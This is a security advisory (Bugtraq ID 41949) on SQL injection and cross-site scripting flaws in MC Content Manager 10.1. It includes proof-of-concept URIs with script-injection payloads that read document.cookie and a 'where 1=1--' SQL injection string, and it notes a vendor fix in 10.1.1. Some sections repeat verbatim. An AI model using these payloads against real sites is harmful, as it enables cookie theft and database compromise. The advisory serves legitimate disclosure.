MC Content Manager SQL Injection and Cross Site Scripting Vulnerabilities
BID:41949
Info
MC Content Manager SQL Injection and Cross Site Scripting Vulnerabilities
| Bugtraq ID: | 41949 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 25 2010 12:00AM |
| Updated: | Jul 25 2010 12:00AM |
| Credit: | MustLive |
| Vulnerable: |
MC Content Manager MC Content Manager 10.1 |
| Not Vulnerable: |
MC Content Manager MC Content Manager 10.1.1 |
Discussion
MC Content Manager SQL Injection and Cross Site Scripting Vulnerabilities
MC Content Manager is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
MC Content Manager is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Exploit / POC
MC Content Manager SQL Injection and Cross Site Scripting Vulnerabilities
Attackers can use a browser to exploit these issues.
The following example URI is available:
Cross site scripting:
1) http://www.example.com/article.php?root=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
2) http://www.example.com/static.php?page=1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
3) http://www.example.com/cms/%3Cbody%20onload=alert(document.cookie)%3E/
SQL Injection:
1) http://www.example.com/cms/ua%20where%201=1--%20/
Attackers can use a browser to exploit these issues.
The following example URI is available:
Cross site scripting:
1) http://www.example.com/article.php?root=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
2) http://www.example.com/static.php?page=1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
3) http://www.example.com/cms/%3Cbody%20onload=alert(document.cookie)%3E/
SQL Injection:
1) http://www.example.com/cms/ua%20where%201=1--%20/
Solution / Fix
MC Content Manager SQL Injection and Cross Site Scripting Vulnerabilities
Solution:
Reportedly the vendor has fixed the issue in version 10.1.1, however Symantec has not confirmed it. Please see contact the vendor for more information.
Solution:
Reportedly the vendor has fixed the issue in version 10.1.1, however Symantec has not confirmed it. Please see contact the vendor for more information.
References
MC Content Manager SQL Injection and Cross Site Scripting Vulnerabilities
References:
References: